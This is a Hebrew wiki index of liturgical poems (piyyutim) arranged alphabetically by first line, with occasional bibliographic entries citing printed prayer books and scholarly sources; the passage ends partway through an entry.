זכור ברית - אות ברית{{ש}}

זכור ברית - אליך ה' אקרא{{ש}}

זכור ברית - אשמתנו כי רבה{{ש}}

זכור ברית - בקר ערכתי{{ש}}

זכור ברית - שש אנכי{{ש}}

זכור ברית אב המוני{{ש}}

זכור ברית אבותינו{{ש}}

זכור ברית אזרחי{{ש}}

זכור ה' - אקונן בכל שנה{{ש}}

זכור ה' ליהודה ואפרים{{ש}}

זכור ה' מה היה לנו{{ש}}
=ח=
חג אסיף תקופת השנה (מערבית){{ש}}

==ח-33==
'''[[יום שבת זכור#תוספות|חג המצות שמרו]]'''. – * [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#צ|צ]] [https://www.digitale-sammlungen.de/de/view/bsb11007533?page=22 680].{{ש}}
(*) תוספת ל[[#י-1934|יום שבת זכור]] למגן אבות. [[אוצר השירה והפיוט/מפתח המקורות/מקורות נוספים#פליישר-מגן אבות|פליישר-מגן אבות]] 101.

חד גדיא{{ש}}

חדו חדו רבנן{{ש}}

חדש ששוני{{ש}}

חודש ישועה חדש לי{{ש}}

חון תחון{{ש}}

חוסה על ישראל עמך{{ש}}

חוצב רהב תנין{{ש}}

חוקר הכל וסוקר{{ש}}

חי אלי{{ש}}

חי ה'{{ש}}

חי ונעלם{{ש}}

חי חי יודו חי{{ש}}

חיים ארוכים תכתבנו{{ש}}

חלק ד' עמו{{ש}}

חמול על מעשיך{{ש}}

חסל סידור פסח{{ש}}

חשתי ולא התמהמהתי בתנומות{{ש}}

חתן בר מצוה עלה{{ש}}

חתן נעים עלה{{ש}}

חתן עמוד{{ש}}
=ט=
טוב לחסות בה' כי לך ה' הגדולה{{ש}}

=י=
י-ה אכסוף{{ש}}

יאמר נא ישראל{{ש}}

יאתה שדי לך{{ש}}

יבוא אדיר במהרה{{ש}}

יבוא הגואל{{ש}}

יביעו שפתי שירה{{ש}}

יבכיון מר{{ש}}

יגדל{{ש}}

ידודון ידודון שנאני שלהבת{{ש}}

ידועי שם בבור נשם{{ש}}

ידי רשים{{ש}}

ידיד נפש{{ש}}

ידיד עליון{{ש}}

ידידי אל ברכוהו{{ש}}

ידידי אל עדת לאומו{{ש}}

ידידי את אהוב לבי{{ש}}

ידידי השכחת{{ש}}

ידידי רועי מקימי{{ש}}

ידידיך מאמש{{ש}}

ידך פשוט ופתחה{{ש}}

ידך תנחני{{ש}}

ידכם שאו משאת{{ש}}

יה איום זכור היום{{ש}}

יה אל גדול ונאדר{{ש}}

יה אלה מלכות{{ש}}

יה אלי וגואלי{{ש}}

יה אלי נכספה נפשי{{ש}}

יה אשר גאה גאה{{ש}}

יה את סוכת דוד תקים{{ש}}

יה בנה יה בנה{{ש}}

יה בשר שר צבאיך{{ש}}

יה הצל{{ש}}

יה השב לבצרון{{ש}}

יה חדשך{{ש}}

יה למתי צפנת{{ש}}

יה מלך רם{{ש}}

יה מלכי{{ש}}

יה מסי כיבין{{ש}}

יה נמצא ולא נרצה{{ש}}

יה פתח נא שערי שמים{{ש}}

יה צור עולמים{{ש}}

יה ריבון{{ש}}

יה שור אם נטושה{{ש}}

יה שמך ארוממך{{ש}}

יה שמע אביוניך{{ש}}

יהודה וישראל דעו{{ש}}

יהי נועם עתה{{ש}}

יהי שלום{{ש}}

יהירים קמו{{ש}}

יהללך ניב שפתי{{ש}}

יודו שמך אים ונורא{{ש}}

יודוך כל המיחלים{{ש}}

יודוך מלך{{ש}}

יודוך רעיוני{{ש}}

יום אדיר ומיוחד{{ש}}

יום אכפי הכבדתי{{ש}}

יום אמיץ זה לאוהבי אמרים{{ש}}

יום אשר אשמנו יוצלל ויוסגר{{ש}}

יום אשר הוחק לכפרתנו{{ש}}

יום אתא לכפר פשעי ישנה{{ש}}

יום הודו וכבודו{{ש}}

יום השבת אין כמוהו{{ש}}

יום זה יהי משקל כל חטאתי{{ש}}

יום זה לישראל{{ש}}

יום זה למול מלך ישפר{{ש}}

יום זה מכובד{{ש}}

יום זה שירו לאל{{ש}}

יום יום אודה{{ש}}

יום יעלה נקראה{{ש}}

יום כמו נד{{ש}}

יום כפורים זה{{ש}}

יום ליבשה{{ש}}

יום ליום אודה{{ש}}

יום נלחמו בי יחד שכני{{ש}}

יום קינה היום{{ש}}

[[יום שאת ויתר]]

יום שבת וכפורים{{ש}}

==י-1934==
'''[[יום שבת זכור|יום שבת זכור השמיע בסיני נגיד עלי ימים הוא קום משחהו]]'''. – פיוט למעריב שבת שחל ביו&quot;ט – סי' יוסף בן קמחי [בן יצחק].* [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#האאס|האאס]] [https://sammlungen.ub.uni-frankfurt.de/freimann/content/pageview/8091071 82] ובמחזור היידנהיים נמצאו רק שני הבתים הראשונים במעריב ב' דשבועות לפני &quot;מגן אבות&quot;; [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#ל|ל]] [https://beta.hebrewbooks.org/pdfpager.aspx?req=29119&amp;st=&amp;pgnum=95 91] [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#צ|צ]] [https://sammlungen.ub.uni-frankfurt.de/freimann/content/pageview/1338278 460].{{ש}}

יום שבת קדש הוא{{ש}}

[[יום שבת קדש נתן צור ישעי]]

יום שבת תשמח מאוד נפשי{{ש}}

יום שבתון{{ש}}

יום שמחה{{ש}}

יום שמחה לישראל{{ש}}

[[יום שקם שבט]]

יומא טבא{{ש}}

יומם עינינו תלויות{{ש}}

[[יונה בחגוי סלע נחבאה]]

יונה מה תהגי{{ש}}

יונה נכאבה{{ש}}

יונה נשאתה{{ש}}

יוסף אשר מקדם{{ש}}

יוצר בחכמה{{ש}}

יוצר מידו{{ש}}

יוקם דם עבדיך{{ש}}

יושב בגבהי מרומים{{ש}}

יושב בכסא הוד{{ש}}

יושב בסתר עליון מגני וצנתי{{ש}}

יושב בשמים שעה באי באש ובמים{{ש}}

יושב קדם איום{{ש}}

יושב תהלות ישראל{{ש}}

יושבי קצוות יראו{{ש}}

יחביאנו צל ידו{{ש}}

יחדיו בשיר מעלות{{ש}}

יחדיו לב נשלם{{ש}}

יחו לשון חזות אישון{{ש}}

יחיד ואין בלתו אחר{{ש}}
==י-2600==
'''[[יחיד ערץ|יחיד ערץ יסד ארץ ברוב חכמה ותושיה]]'''. — אופן — סי' יעקב [ר&quot;ת?]. * [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#א הנובר|א הנובר]] 159, [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#אוצר התפלות|אוצר התפלות]] ח&quot;ב [https://hebrewbooks.org/pdfpager.aspx?req=57996&amp;st=&amp;pgnum=659 258], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#ארנהיים|ארנהיים]] 231, [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#כל בו|כל בו]] ח&quot;ד 309 [https://hebrewbooks.org/pdfpager.aspx?req=20350&amp;st=&amp;pgnum=340 *], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#פירסט|פירסט]] 105, [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#קה&quot;פ|קה&quot;פ]] [https://hebrewbooks.org/pdfpager.aspx?req=34863&amp;st=&amp;pgnum=26 36], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#שער השמים|שער השמים]] ח&quot;ב [https://hebrewbooks.org/pdfpager.aspx?req=22560&amp;st=&amp;pgnum=208 103]: [https://hebrewbooks.org/pdfpager.aspx?req=22560&amp;st=&amp;pgnum=269 133]:, [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#ל|ל]] [https://beta.hebrewbooks.org/pdfpager.aspx?req=29119&amp;st=&amp;pgnum=112 110] [מיחסו ליעקב סתם], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#צ|צ]] [https://sammlungen.ub.uni-frankfurt.de/freimann/content/pageview/1338379 561].{{ש}}

יחיד רם לעולם{{ש}}

יחידתי בצרתי{{ש}}

יחלת עבדיך{{ש}}

יכתירני אל חי{{ש}}

ימהר יום{{ש}}

ימותי קלו כצבאות{{ש}}

ימים מקדם אזכרה{{ש}}

יסד בסודו{{ש}}

יספת ה' לגוי נכבדת{{ש}}

יעזוב רשע נתיבו{{ש}}

יעידון כל עבדיך{{ש}}

יעירוני בשמך רעיוני{{ש}}

יעירוני רעיוני{{ש}}

יעלה יעלה{{ש}}

יעלה תחנוננו{{ש}}

יעלו לאלף ולרבבה{{ש}}

יעלם שבני{{ש}}

יערב חין ערכנו{{ש}}

יערה עלינו רוח{{ש}}

יערת דבש{{ש}}

יפה וברה כרדה לגיא פתרוסים{{ש}}

יפה נוף אנופף{{ש}}

יפרח חתן{{ש}}

יפת עין לבבתיני{{ש}}

יצו האל לדל שואל{{ש}}

יצורים וצפון{{ש}}

יציב פתגם{{ש}}

יציץ צור מחרכו{{ש}}

יצלצלו חובבים{{ש}}

יצר האל את העולם{{ש}}

יקבוץ מפוזר{{ש}}

יקודי אש{{ש}}

יקוש בעניו{{ש}}

יקרבנו ה' לעבודת בית המקדש{{ש}}

יקרה מיקר{{ש}}

יקרו רעיך רב מחולל{{ש}}

יראים שלחוני{{ש}}

יראנו כקדם נפלאות{{ש}}

יראתי בפצותי שיח{{ש}}

ירדתי לתחתיות{{ש}}

ירומם צור דגל{{ש}}

ירוצצו כברקים{{ש}}

ירושלים את ה' הללי{{ש}}

ירצה עם אביון{{ש}}

ירצה צום עמך{{ש}}

ישיר ישראל שיר נועם{{ש}}

ישישו בו כל חוסיו{{ש}}

ישמח חתני{{ש}}

ישמחו בחגיהם ידידים ונעימים{{ש}}

ישמיענו סלחתי{{ש}}

ישמעני אלהים בקראי לנגדו{{ש}}

ישמרך כאישון בת{{ש}}

ישן אל תרדם{{ש}}

ישנה בחיק ילדות{{ש}}

ישראל בחירי אל{{ש}}

ישראל נושע בה' (בקשות){{ש}}

ישראל נושע בה' (סליחות){{ש}}

ישראל עבדיך{{ש}}

ישראל עם קדוש{{ש}}

ישראל עמך{{ש}}

יתנו צדקות יה{{ש}}

[[יתרומם זה אלי ואנוהו]]

=כ=
כאהל הנמתח בדרי מעלה{{ש}}

כאור בקוע באשנבו{{ש}}

כאחלמה קבועה בעטרת{{ש}}

כבודו אהל כהיום{{ש}}

כבודו אופד להנשא{{ש}}

כבודו אור יזריח{{ש}}

כבודו אות ברבואות{{ש}}

כהושעת אב המון{{ש}}

כהושעת אדם{{ש}}

כהושעת אלים{{ש}}

כהושעת ותעזור אנושי מזור{{ש}}

כהושעת טמון גומא{{ש}}

כהושעת יגיעי נשם{{ש}}

כהושעת ידיד ברדתו להלום{{ש}}

כהושעת ידידים (להו&quot;ר){{ש}}

כהושעת ידידים מכף מעבידים{{ש}}

כהושעת יהודה ואפרים{{ש}}

כהושעת יוצאי פתרוס{{ש}}

כהושעת ילידי אהב{{ש}}

כהושעת יקושי מלבן{{ש}}

כהושעת יקיר{{ש}}

כהושעת ירויי היאור{{ש}}

כהושעת ישע לזכרון{{ש}}

כהושעת ניני אב המון{{ש}}

כהושעת צפיעי איש תמים{{ש}}

כי אם שם אדיר ה' אדונינו{{ש}}

כי אנו עמך{{ש}}

כי אשמרה שבת{{ש}}

כי בשם אדיר תצאון{{ש}}

כי הנה כחומר{{ש}}

כי על רחמיך הרבים אנו בטוחים{{ש}}

כי על רחמיך הרבים אנו סמוכים{{ש}}

כי רכובו בערבות{{ש}}

כירי רם{{ש}}

ככלות ייני{{ש}}

כל ברואי מעלה ומטה{{ש}}

כל מקדש שביעי{{ש}}

==כ-387==
'''[[יום שבת זכור#תוספות|כל שומר אש דת]]'''. – עליה לתורה לשבועות. * [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#צ|צ]] [https://www.digitale-sammlungen.de/de/view/bsb11007533?page=22 680].{{ש}}
(*) זיהוי הסוג שגוי ומדובר בתוספת ל[[#י-1934|יום שבת זכור]] למגן אבות. [[אוצר השירה והפיוט/מפתח המקורות/מקורות נוספים#פליישר-מגן אבות|פליישר-מגן אבות]] 102 [[אוצר השירה והפיוט/מפתח המקורות/מקורות נוספים#פרנקל-שבועות|פרנקל-שבועות]] 68.

כל שנאני שחק באמר מאמירים{{ש}}

כמה אלהי{{ש}}

כמראה השמש באדר וזוהר{{ש}}

כסא אורי וישעי{{ש}}

כתובה לחג השבועות{{ש}}

כתועים ואין לבקש{{ש}}

כתר מלכות (אבן גבירול){{ש}}

כתר מלכות (הבן איש חי){{ש}}

כתר מלכות (כסא אליהו){{ש}}

כתר מלכות (רדב&quot;ז){{ש}}

=ל=

לא אמות לא אמות{{ש}}

לא ארמון על משפטו{{ש}}

לא בקשתי אל אבטח{{ש}}

לא קם נביא{{ש}}

לאל עורך דין{{ש}}

לבית לוי ומשפחתו{{ש}}

לבעל התפארת{{ש}}

לדוד שיר ומזמור{{ש}}

לו ישקלו רעי מהומתי{{ש}}

לולי ד' שהיה לנו{{ש}}

ליל שיכורים{{ש}}

ליל שמורים אור ישראל{{ש}}

ליל שמורים אור עולמו נגלה{{ש}}

ליל שמורים אותו אל חצה{{ש}}

לך אלי תשוקתי{{ש}}

לך אלים אלפי אלפים{{ש}}

לך ה' הצדקה (פיוט){{ש}}

לך ה' הצדקה באותות אשר הפלאת{{ש}}

לך ה' הצדקה תלבושת{{ש}}

לך יאדיר כל יציר{{ש}}

לכה דודי{{ש}}

למה ה' תעמוד ברחוק{{ש}}

למה הקץ{{ש}}

למה יאמרו הגוים (פיוט){{ש}}

למי אבכה{{ש}}

למי אבכה וכף אכה{{ש}}

==ל-1086==
'''[[למי אוי למי אבוי|למי אוי למי אבוי ומדנים למי שיח למי פצעים וקלונים]]'''. – קינה – [אפרים בר יעקב מבונא]. * [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#א סב|א סב]] [https://hebrewbooks.org/pdfpager.aspx?req=7069&amp;st=&amp;pgnum=367 183] [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#ספר הדמעות|ספר הדמעות]] ח&quot;א 225 [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#קינות וסליחות|קינות וסליחות]] [https://hebrewbooks.org/pdfpager.aspx?req=43925&amp;st=&amp;pgnum=71 סי' ב]; [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#שבלים בודדות|שבלים בודדות]] 133 {{צבע גופן|1=אפור|2=(*) צ&quot;ל [https://hebrewbooks.org/pdfpager.aspx?req=43941&amp;st=&amp;pgnum=141 138]}} הערה: הקינה הזאת נוסדה על ההריגה שהיתה בעיר בלויי'ש (Blois) בכ' סיון שנת תתקל&quot;א לרגלי עלילת דם (עי' דברי ימי ישראל ח&quot;ד 237–238) [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#ל|ל]] [https://beta.hebrewbooks.org/pdfpager.aspx?req=29119&amp;st=&amp;pgnum=52 48] [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#צ|צ]] [https://sammlungen.ub.uni-frankfurt.de/freimann/content/pageview/1338108 290].

למען אב אץ לבוא{{ש}}

למען אב בן שלש שנים הכירך{{ש}}

למען אב הכירך{{ש}}

למען אב הנוסה בעשרה{{ש}}

למען אב השכים{{ש}}

למען אב חדשת שמו לנקוב{{ש}}

למען אב ידעך{{ש}}

למען אב ידעך מכל אומות{{ש}}

למען אב מאור כשד שיוע ונענה{{ש}}

למען אב נבחן בעשר{{ש}}

למען אב נם יוקח נא{{ש}}

למען אב נפקד{{ש}}

למען אב נצטוה{{ש}}

למען אב עקד בן{{ש}}

למען אברהם האהוב{{ש}}

למען אדם אשר בכף נוצר{{ש}}

למען אהבת קדומים{{ש}}

למען אהל ארמנותיך{{ש}}

למען אזרח זרח ממזרח חרסי{{ש}}

למען אזרחי הנשלך{{ש}}

למען איתן{{ש}}

למען אמיץ בן שלוש{{ש}}

למען אמיתך{{ש}}

למען אסף להחיות{{ש}}

למען תמים בדורותיו{{ש}}

למען תמים עש תיבה{{ש}}

למען תפר עלה תאנה{{ש}}

למענך אדיר באדירים{{ש}}

למענך אל אחד ואין שני{{ש}}

למענך אל הושיעה{{ש}}

למענך אל נערץ בסוד קדושים רבה{{ש}}

למענך אל עוטה אורות{{ש}}

למענך אלהי{{ש}}

למענך אלהי האלהים{{ש}}

למענך אלהינו{{ש}}

למענך ולא לנו{{ש}}

למענך תקיף{{ש}}

למקדימים בתפילה{{ש}}

למתודה חטאתיו{{ש}}

לנר ולבשמים{{ש}}

לפדות עם דל{{ש}}

לפניך אני כורע{{ש}}

=מ=
מארוד וארפד{{ש}}

מאתך תהלתי שומע עתירה ושועה{{ש}}

מבית מלוני קמתי בצוקי{{ש}}

מברך רחמנא{{ש}}

מדי שנה קינה{{ש}}

מה ידידות{{ש}}

מה יפית{{ש}}

מה לך יצרי{{ש}}

מה לך שר תשאל{{ש}}

מה לכם פה ומי לכם פה{{ש}}

מה נאוו עלי{{ש}}

מה נכבד היום{{ש}}

מה נעים נאוה תהילה{{ש}}

מה נפתח ונימא{{ש}}

מה נשתנה{{ש}}

מהולל אקרא ה'{{ש}}

מהללך ורב גדלך{{ש}}

מוחץ ורופא{{ש}}

מולך מוני{{ש}}

מושך חסד ליודעיו{{ש}}

מושל בעליונים אתה ידעת{{ש}}

[[מושיע ומגן לנו חוסים]]

מחוללת מהוללת{{ש}}

מחי ומסי{{ש}}

מחנות עליונים{{ש}}

מי אדר והוד{{ש}}

מי העומד בהראה{{ש}}

מי זאת עולה יפהפיה{{ש}}

מי יתן ראשי מים{{ש}}

מי יתנני עבד אלוה עשני{{ש}}

מי כמוך (אברהם כלפון){{ש}}

מי כמוך (ריה&quot;ל){{ש}}

מי כמוך (שבתאי טיאר){{ש}}

[[מי כמוך אומר ומקים]]

מי לה' אתי עורך{{ש}}

מי נשקני מנשיקות אהבה{{ש}}

מי שענה לאברהם אבינו{{ש}}

מיוחד באהיה אשר אהיה{{ש}}

מימים ימימה{{ש}}

מכניסי רחמים{{ש}}

מלא פי שירה{{ש}}

מלאכי צבאות בעלצון{{ש}}

מלאכי רחמים{{ש}}

מלך אדיר ונורא{{ש}}

מלך אזור גבורה{{ש}}

מלך אחד יהיה אל העמים{{ש}}

מלך אמון מאמרך{{ש}}

מלך אמיץ ואיום{{ש}}

מלך אמיץ כח רב עלילה{{ש}}

מלך גואל ומושיע{{ש}}

מלך מלכים רם על רמים{{ש}}

מלך עליון אל דר במרום{{ש}}

מלך עליון אמיץ המנושא{{ש}}

מלך עלמין דגלגלוהי{{ש}}

מלך עתיק ימים{{ש}}

מלך רם ניב שפתינו שעה נורא עלילה{{ש}}

מלכי מקדם פועל ישועות{{ש}}

מלכי עולם בורא{{ש}}

מנוחה ושמחה{{ש}}

מנומם בעת קומם{{ש}}

מסוד חכמים{{ש}}

מעוז צור{{ש}}

מעוני שמים שחקים יזבלוך{{ש}}

מפי אל{{ש}}

מפלטי אלי צורי סתרי ומגני{{ש}}

מציון אל עליון{{ש}}

מצרי ערי יצרי{{ש}}

מקדים וראש לקוראים{{ש}}

מקהלות עם{{ש}}

מקוה ישראל ה' (סליחה){{ש}}

מקוה ישראל מושיעו{{ש}}

מקור עיני{{ש}}

מרומים ישכן{{ש}}

מרים לראשי{{ש}}

מרן דבשמיא מר על כל מרי{{ש}}

מרנא דבשמיא{{ש}}

מרשות אלהי האלהים{{ש}}

מרשות אלהי קדם{{ש}}

מרשות האל הגדול{{ש}}

מרשות מרומם על כל ברכה{{ש}}

מרשות שוכן עד{{ש}}

משאת כפי מנחת ערב (סליחות){{ש}}

משביח שאון ימים{{ש}}

משמים שלום לעם{{ש}}

משנאי הצמיד{{ש}}

משתחוים להדרת קודש{{ש}}

מתי יבושר עם{{ש}}

מתי יעקב תפארון{{ש}}

=נ=

נבוכדנאצר אכלני הממני{{ש}}

נודה לשמך בתוך אמוני{{ש}}

נכון לבו{{ש}}

נלאה להיליל על שברנו{{ש}}

נפשי עוז תדרכי{{ש}}

נשמת ילדים שוממים{{ש}}

נשמת ישרים יהלוך{{ש}}

נשמת מלומדי מורשה{{ש}}

נשמת שדודים נדודים{{ש}}

=ס=
סגולתי איומה נשאתי{{ש}}

סגולתי מלוכה אזרתיך{{ש}}

סגולתי משכתיך חסד{{ש}}

סוכה ולולב{{ש}}

סוכת שלם{{ש}}

סימן טוב יהיה לכל{{ש}}

סימני ליל הסדר{{ש}}

סלח נא אשמות{{ש}}

סלח נא אשמתנו{{ש}}

סלח סלח אל טוב וסלח{{ש}}

=ע=

עב קל ממרומך{{ש}}

עד אן צבי מודח{{ש}}

עד מתי ה'{{ש}}

עובדי האל באמונה{{ש}}

עוונינו ארוכים ורחבים וגבוהים{{ש}}

עורה נא ימינך רמה{{ש}}

עורו שירו שיר{{ש}}

עורי נצורה כבבת{{ש}}

עזוז אדירירון{{ש}}

עזר מצרי{{ש}}

עזרני אל חי{{ש}}

עין ולב{{ש}}

עינינו לך תלינו{{ש}}

על אהבתך{{ש}}

על אהבתך (מנוקד){{ש}}

על אלה תרדנה{{ש}}

על בית זה ויושביהו{{ש}}

על היכלי אבכה{{ש}}

על היכלי חבלי כנחש הולך{{ש}}

על הר המוריה{{ש}}

על זה היה דוה לבנו{{ש}}

על יום חורבן היכל מקודש{{ש}}

על משכבי בלילות{{ש}}

על נהרות בבל חשכה יפעת מאורותינו{{ש}}

עלינו לשבח{{ש}}

עם אשר יה ברך{{ש}}

עם ה' השלחה{{ש}}

עם ה' חזקו ונתחזקה{{ש}}

ענה אוחזי ארבעה מינים{{ש}}

ענה אומני חוקה נסוכה{{ש}}

ענה איומה{{ש}}

ענה איומה קוראה בתחנוני{{ש}}

ענה איומים בעוז{{ש}}

ענה אמוני שבט ראובן{{ש}}

ענה אתויים{{ש}}

ענה תאבי ישעך{{ש}}

עננו אבינו{{ש}}

עננו אלוהי אברהם{{ש}}

עשה למען שמך{{ש}}

עת דודים כלה{{ש}}

עת שערי רצון להפתח{{ש}}

=פ=
פורים פורים{{ש}}

פסח אכלו פחוזים{{ש}}

פצחו רון ותהילה{{ש}}

פרה אמרה קשה{{ש}}

==פ-243==
'''[[אז לפנות ערב|פתח לנו שער בעת נעילת שער כי פנה יום]]'''. – חרוז בודד בתפלת נעילה במנהגי אשכנז ופולין, ואולי הוא שריד מפיוט קדמון.

=צ=
צור משלו{{ש}}

צורי גואלי יה{{ש}}

ציון אשר יאמרו{{ש}}

ציון במשפט לכי לך{{ש}}

ציון גברת לממלכות מציריך{{ש}}

ציון ה' לכס בחר{{ש}}

ציון הלא תשאלי{{ש}}

ציון הלא תשאלי לשלום אסיריך{{ש}}

ציון הלא תשאלי לשלום עלוביך{{ש}}

ציון הלא תשאלי שלות שרידיך{{ש}}

ציון ידידות ידיד{{ש}}

ציון מנת שלום{{ש}}

ציון מעוז קרית מלך{{ש}}

ציון מעון חשקי{{ש}}

ציון עטרת צבי{{ש}}

ציון צפירת פאר{{ש}}

ציון קדוש משכני עליון{{ש}}

ציון קחי כל צרי{{ש}}

ציון תקונני עלי ביתך{{ש}}

צמאה נפשי{{ש}}

צעקה יוכבד{{ש}}

=ק=
קדוש אדיר בעליתו{{ש}}

קדושת שבת כתקנת עזרא{{ש}}

קדש ורחץ{{ש}}

קול אהלה תתיפח{{ש}}

קול ברמה נשמע ביללה{{ש}}

קול יעקב קורא{{ש}}

קול מבשר משמיע הטו אוזן{{ש}}

קול מהלל יגדל{{ש}}

קום חתן{{ש}}

קומה ה' למנוחתך{{ש}}

קומו ברינה עדת אמוני{{ש}}

קוראי מגילה{{ש}}

קינת אומן{{ש}}

קמתי באשמורת{{ש}}

קמתי ותדד שנתי{{ש}}

קמתי להלל{{ש}}

קרב אורך לעניה{{ש}}

קריה יפהפיה{{ש}}

=ר=
ראה שמש{{ש}}

ראשון אמצת לפרח שושנים{{ש}}

רבון העולמים אדון כל הנפשות{{ש}}

רבון העולמים חתמנו לחיים{{ש}}

רבונו של עולם בראותי בחורותי{{ש}}

רבונו של עולם ויהי בעלות המנחה{{ש}}

רומה אלהים שמך לקדש{{ש}}

רועה ישראל האזינה{{ש}}

==ר-802==
'''[[אב הרחמן מלא רחמים#נוסח איטליה|רחום וחנון חטאנו לפניך רחם עלינו אב הרחמן מלא רחמים רבים חלר&quot;ע אדון הסליחות בורא עולם במדת רחמים חלר&quot;ע גדול העצה ורב העלילה]]'''.
==ר-803==
'''[[אב הרחמן מלא רחמים#נוסח תימן|רחום וחנון חטאנו לפניך אב הרחמן מלא רחמים חלר&quot;ע בורא עולם במדת רחמים חלר&quot;ע גואל ומושיע חלר&quot;ע דיין אלמנות]]'''.
רחם נא עליו{{ש}}

רחמים פשוטים{{ש}}

רחמנא אידכר לן{{ש}}

רחמנא דא היא אוריתך{{ש}}

רחמנא חטינן{{ש}}

רחמנא ענינן בהדא שעתא{{ש}}

רחמנא רחם על עמך ישראל דאינון קימין{{ש}}

רחמנא רחם על עמך ישראל דאפיקתא יתהון{{ש}}

רחמנא רחם על עמך ישראל דאתן למסגד{{ש}}

רחמנא רחם עלן בקל ויעבור{{ש}}

ריב בין שבת וחנוכה{{ש}}

ריבון כל העולמים{{ש}}

רם אור גדול נעלם{{ש}}

רנו ושבחו לאל{{ש}}

רעה בשבטך{{ש}}

רעיתי בין הבנות שכולה{{ש}}

רפא צירי{{ש}}

=ש=
שאו לבבכם לכפיכם{{ש}}

שאו מנחה משובחה{{ש}}

שאו שערים ראשיכם (פיוט){{ש}}

שאי קינה במגינה{{ש}}

שאלו שחקים ושיחו לאדמה{{ש}}

שאלי שרופה באש{{ש}}

שבחו אל עדת ישראל{{ש}}

שבט יהודה בדוחק ובצער{{ש}}

שבטי איתני{{ש}}

שביבי שלהבות חצובי להבות{{ש}}

==ש-273==
'''[[שביה עניה|שביה עניה בארץ נכריה לקוחה לאמה לאמה מצריה]]'''. —  גאולה —  סי' שלמה [רשב&quot;ג]. * [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#אוצר התפלות|אוצר התפלות]] ח&quot;ב [https://hebrewbooks.org/pdfpager.aspx?req=57996&amp;st=&amp;pgnum=657 256], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#ארנהיים|ארנהיים]] 226, בית תפלה [https://hebrewbooks.org/pdfpager.aspx?req=38430&amp;st=&amp;pgnum=21 10], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#דרך החיים|דרך החיים]] ח&quot;ה 115, [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#חופת חתנים|חופת חתנים]] 99, [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#חזונים|חזונים]] [https://hebrewbooks.org/pdfpager.aspx?req=42160&amp;st=&amp;pgnum=233 117], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#יפה נוף|יפה נוף]] [https://hebrewbooks.org/pdfpager.aspx?req=44816&amp;st=&amp;pgnum=173 39], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#כל בו|כל בו]] ח&quot;ד 308 [https://hebrewbooks.org/pdfpager.aspx?req=20350&amp;st=&amp;pgnum=339 *], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#סדר סליחות|סדר סליחות]] 50, [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#סדר התחנונים|סדר התחנונים]] [23], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#סליחות טורינו|סליחות טורינא]] 67, [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#ע&quot;י|ע&quot;י]] [https://hebrewbooks.org/pdfpager.aspx?req=42897&amp;st=&amp;pgnum=798&amp;hilite= 728], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#פירסט|פירסט]] 103, [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#רומא ב|רומא ב']] [https://hebrewbooks.org/pdfpager.aspx?req=45406&amp;st=&amp;pgnum=179 290], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#רומא-שד&quot;ל|רומא שד&quot;ל]] [https://www.nli.org.il/he/books/NNL_ALEPH990019944990205171/NLI?volumeItem=2 ח&quot;ב] 110 [במנהג זה הוא סליחה לשחרית יוכ&quot;פ], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#שינגילי-ב|שינגילי-ב]] [https://www.hebrewbooks.org/pdfpager.aspx?req=44576&amp;st=&amp;pgnum=143&amp;hilite= 70]; [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#שירי שלמה-ב&quot;ר|שירי שלמה-ב&quot;ר]] ח&quot;ב (*) ח&quot;ג [https://hebrewbooks.org/pdfpager.aspx?req=38219&amp;st=&amp;pgnum=18&amp;hilite= 4], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#שער השמים|שער השמים]] ח&quot;ב [https://hebrewbooks.org/pdfpager.aspx?req=22560&amp;st=&amp;pgnum=207 102]; [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#תחנונים-1597|תחנונים 1597]] [https://hebrewbooks.org/pdfpager.aspx?req=52629&amp;st=&amp;pgnum=101 51], [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#תחנונים וסליחות|תחנונים וסליחות]] 49; [[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#תחנונים וסליחות-שמ&quot;ז|תחנונים וסליחות-שמ&quot;ז]] 61, תרגום אנגלי: נינא דייויס — [[אוצר השירה והפיוט/מפתח המקורות/מקורות לועזים#Jewish Quarterly Review|רבעון האנגלי]] ח [https://www.jstor.org/stable/1449836?seq=1 269], תרגום ביהודית: אויערבאך-[[אוצר השירה והפיוט/מפתח המקורות/מקורות עברים#אידישע דענקער|אידישע דענקער]] [https://sammlungen.ub.uni-frankfurt.de/judaicaffm/content/pageview/2020092 88]. הבית השלישי &quot;מחוצים לחוצים&quot; וכו' מובא בס' [[W:גן השכלים|בוסתן אל-אוקול]] ל[[W:נתנאל 